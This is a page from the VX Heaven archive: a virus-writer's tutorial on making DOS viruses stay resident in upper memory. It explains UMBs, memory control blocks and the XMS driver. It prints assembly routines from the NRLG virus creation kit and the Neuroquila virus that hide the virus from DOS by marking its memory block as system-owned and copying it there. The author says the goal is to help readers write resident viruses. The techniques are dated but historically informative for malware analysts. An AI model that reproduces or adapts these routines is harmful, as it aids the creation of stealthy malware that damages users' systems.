VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Upper memory residency


[Back to index] [Comments]

Well, i'll try to describe some routines used by some viruses to copy themselves into upper memory... in order to do this, i'll try to describe what's that we call upper memory, type we're interested in, the MCB, etc. Then i'll try to trace a bit of Neuroquila, looking for the techniques it it uses for this kind of residency. Let's start :-)

Upper Memory

DOS has something we call UMBs; the segment where they start is kept at offset 1fh at the information table about disk buffers whose direction is returned at ES:BX+12h by the get list of lists -52h-, but in order to be able to get onto upper memory blocks, these must be linked to conventional memory blocks; if not, we'll do it by function 58h (Neuroquila virus does this) ;-) The format of MCBs at UMBs is the following:

Offset Length Meaning
0 byte 5ah if the last one and 4dh otherwise
1 word with the PID (Process ID)
3 word size of block in paragraphs
8 8 bytes'UMB' if first block and SM if the last one

Then we also have this other memory we're also interested in... the XMS controller, which Neuroquila (how not!) does also use... the XMS controller (HIMEM.SYS loads it) adds functions to manage upper memory.

In order to employ the XMS controller services we must check function 43h int 2fh (multiplex), checking for 80h in AL (what Neuroquila does).

Once we know XMS is there, we must ask where to find it, with subfunction 10h, as XMS is not called by means of an int. It would be something like:

	mov ax,4310h	; Ask address
	int 2fh
	mov xms_seg,es	; Save it
	mov xms_off,bx

Where xms_** would be a struc type of:

xms_mgr label dword
xms_off dw 0
xms_seg dw 0

Then, when we would want to use the manager, we'd use function number at AH, and run a call xms_mgr.

Normal memory blocks

(Erhmm... i think i sould have started here O:))

Memory blocks under DOS are bytes arrays, always multiples of 16. Therefore, a 16 bit word may keep the address of any part of the memory inside inside the meg an 8086 can handle. When a program is run, the system creates two blocks for itself: the program memory block, and the enviroment memory block.

When a program is run, DOS searches the largest memory block available, and assigns it to the program. The first paragraph address is called PID; moreover, in the first 256 bytes of this area, DOS creates PSP. The environment block is the zone where variables are kept: PATH, SET, etc. Now let's talk about MCBs (Memory Control Blocks), as both the program block with the enviroment are following a header that contains the information about the assigned MCB. This way:

Offset Meaning
0 ID
1 PID owner
5-7 reserved
8-15 name of owner

Usually, a virus would subtract its length from the size kept at offset 3 and then call int 21h function 4ah to free the memory, and get it again somewhere else with function 48h. After it, it would mark the MCB with an an 8 at offset 1 (PID). Why? Because system has this PID; this way, it 'tricks' DOS not to use that portion of memory; it's only left to rep movsb into the block.

Memory managing functions

48h - Allocate memory block

	Input:	BX = size of block, in paragraphs
	Output: if CF = 1, AX = error code
		AX:0 = address of memory block
		BX = if there was an error, it contains the maximum size available

49h - Free memory block

	Input:	ES = Memory block segment
	Output: if CF = 1 , AX = error code

4ah - Modify allocated memory blocks

	Input:	ES = Memory block segment
		BX = new size of block, in paragraphs
	Output: if CF = 1 , AX = error code
		BX = if there was an error, it contains the maximum size available

This can be seen, for instance, in this routine i took from the NRLG virus creation tool. I think it's very easy to understand... hope no one turns up with the (c) cause i wouldnt mind to take the routine from somewhere else and this way i'm promoting it };)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
push cs                          ;
pop ax                           ;ax = my actual segment
dec ax                           ;dec my segment for look my MCB
mov es,ax                        ;
mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
push cs                          ;
pop es                           ;
sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus
sub bx,17 + offset fin           ;and 100H for the PSP total
mov ah,4ah                       ;used memory
int 21h                          ;put the new value to MCB
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h                      ;
int 21h                         ;request the memory to fuck DOS!
dec ax                          ;ax=new segment
mov es,ax                       ;ax-1= new segment MCB
mov byte ptr es:[1],8           ;put '8' in the segment
inc ax                          ;
mov es,ax                       ;es = new segment
lea si,[bp + offset start]      ;si = start of virus
mov di,100h                     ;di = 100H (psp position)
mov cx,offset fin - start       ;cx = lag of virus
push cs                         ;
pop ds                          ;ds = cs
cld                             ;mov the code
rep movsb                       ;ds:si >> es:di
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

This would be the way to copy into memory for a .COM infector. There are some viruses which are clumsier, to say it some way, like the 'famous' (i still can't understand why) Friday 13th (Jerusalem), which calls int 21h, function 31h in order to stay resident, having to execute itself again... it isn't worth to waste our time with that, and i'm sorry for those who use that, but i consider it bullshit... a virus oughts to be resident!

Well, up to this point, someone will be pleading for some code from Neuroquila ;D here it is... :)

        push    ds
        push    es
        mov     ah,52h                  ; get list of Lists
        int     21h
        mov     ds,word ptr es:[bx-2]   ; First MCB segment
        mov     si,10h
        cmp     byte ptr [si-0ch],80h   ; ¨block size > 80FFh paragraphs?
        mov     al,0
        ja      DOS2_not_loaded_yet     ; sure
        mov     di,memory_size          ; size it needs
        ; memory_size = (offset memory_top - offset start + 15) /16
        call    alloc_mem

Here, we'll have a deep look into this interesting routine ;)

Memory allocation routine


        mov     ax,4300h
        int     2fh             ; He asks for XMS
        cmp     al,80h
        jnz     no_xms_driver

Curiously, we should check for the 2fh vector to be different from 0, coz that would mean that XMS isn't initialized for that DOS version and the system would hang; anyway, i've seen NO program to bear this in mind... can it be, anyway, a bug of Neuroquila? }:)

Take it easy, i know some of you are heavy fans of this virus :DDD It is not a bug; Neuroquila first checks for the DOS version it's running under ;)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
        mov     ax,4310h
        int     2fh
        mov     word ptr xms_addr,bx
        mov     word ptr xms_addr+2,es  ; What i said before ;)
        mov     ah,10h                  ; Allocate upper memory
        mov     dx,di                   ; size in paragraphs
        call    xms_addr                ; take it as an int
        dec     ax                      ; are we going?
        jnz     no_xms_driver           ; nope
        mov     bp,bx                   ; BP = UMB segment
        ret                             ; and returns


    ; XMS isn't available, allocate upper memory, DOS 5.0 needed

        mov     ax,5800h
        int     21h                     ; get strategy
        push    ax
        mov     ax,5801h                ; low memory best fit
        push    ax
        mov     bx,0080h                ; puts allocation strategy
        int     21h                     ; BL=new strategy BH=00 (DOS 5+)

        mov     ax,5802h                ; low memory last fit
        int     21h                     ; get UMB state
        mov     ah,0                    ; preserve it
        push    ax
        mov     ax,5803h
        push    ax
        mov     bl,1                    ; Connects UMB blocks
        int     21h
        mov     ah,48h
        mov     bx,di                   ; Allocate memory, BX = para
        int     21h                     ; of memory
        xchg    bp,ax                   ; BP = assigned segment
        pop     ax
        pop     bx
        int     21h
        pop     ax
        pop     bx
        int     21h                     ; Restore strategy
        ret                             ; and returns
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

Well, well, well, now we continue with the main routine...

        mov     dx,bp                   ;-) let's remember what's in BP
        cmp     dh,0A0h                 ; DX=0A000h
        jb      in_low_mem              ; low_mem? then go down!
        dec     bp
        mov     ds,bp
        mov     ax,di
        mov     word ptr [si-0fh],8     ; MCB belongs to system
        jmp     move_virus              ; just copy it


Let's see several interesting properties of memory blocks in DOS 4.0 and 5.0, that Neuroquila will 'work' with ;)

Well, since DOS 3.1, first memory block is a system data segment, which contains the device drivers in CONFIG.SYS. From DOS 4.0 and further on, this block is divided into smaller ones, each of which, preceeded by a MCB with the following structure:

offset 0Byte, type of segment:
Device driver
" " extension
IFS driver (Installable File System)
FILES = If FILES > 5, place where they are kept
FCBS = place where kept
BUFFERS = /X Expanded Memory buffers
BUFFERS = buffers area
LASTDRIVE = place where kept
STACKS = system code and stack zone
INSTALL = this order's area
offset 1Word, indicates where the subsegment starts (generally after it)
offset 3Word, size of subsegment (paragraphs)
offset 88 bytes: in types 'D' and 'I', name of file that loaded the driver

This way, since DOS 4.0 once found first MCB, we can jump it and take the next one. In DOS 5.0, system blocks have 'SC' (System Code) or 'SD' (System Data, which would be equal to those of the DOS 4.0) in their name.

It is here where Neuroquila starts to check this MCB of the subblocks.

        push    ds
        cmp     byte ptr [si],46h       ; FILES= ? 'F' (in hex)
        jz      next_subMCB
        cmp     byte ptr [si],44h       ; DEVICE= ? 'D'
        jnz     no_subMCB

        cmp     byte ptr [si],4dh       ; next MCB? (5ah if last)
        jz      last_subMCB
        cmp     byte ptr [si],54h       ; INSTALL=? 'T'
        jz      last_subMCB
        mov     ax,word ptr [si+1]      ; MCB owner
        dec     ax
        mov     es,ax
        add     ax,word ptr [si+3]      ; More size for memory block
        mov     ds,ax
        jmp     next_subMCB             ; and again!


        lea     ax,[bp+di]
        sub     ax,es:[si-0fh]
        mov     es:[si-0dh],ax

        pop     ds
        mov     ax,ds                   ; First MCB segment
        sub     bp,ax
        xchg    bp,ax
        add     ax,memory_size - 1

        mov     virus_segment,ds
        push    cs
        pop     ds
        assume  ds:code 2
        mov     virusMCB_size,ax
        mov     es,dx
        mov     al,(offset allready_moved-offset virus_moved_from_fixed_segment)
        mov     byte ptr virus_moved_from_fixed_segment,al
        mov     cx,offset memory_top
        xor     si,si
        xor     di,di
        rep     movsb

Neuroquila has many more to give, but for now... i put this, just in case someone doesn't have the Neuroquila source code, published in VLAD#5 (it is high time!) }:D

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
        push    ds
;       push    word ptr 0c801h
        db      68h
virus_segment   dw      0c801h
        pop     ds
;       mov     word ptr [3],014eh
        db      0c7h,06h
        dw      3
virusMCB_size   dw      014eh
        pop     ds

        pop     es
        pop     ds
assume  ds:nothing
        mov     byte ptr virus_moved_from_fixed_segment,al
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

That's all folks, hope my huge fingers and poor view, help me to write some virus that would stay resident in upper memory... :)

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka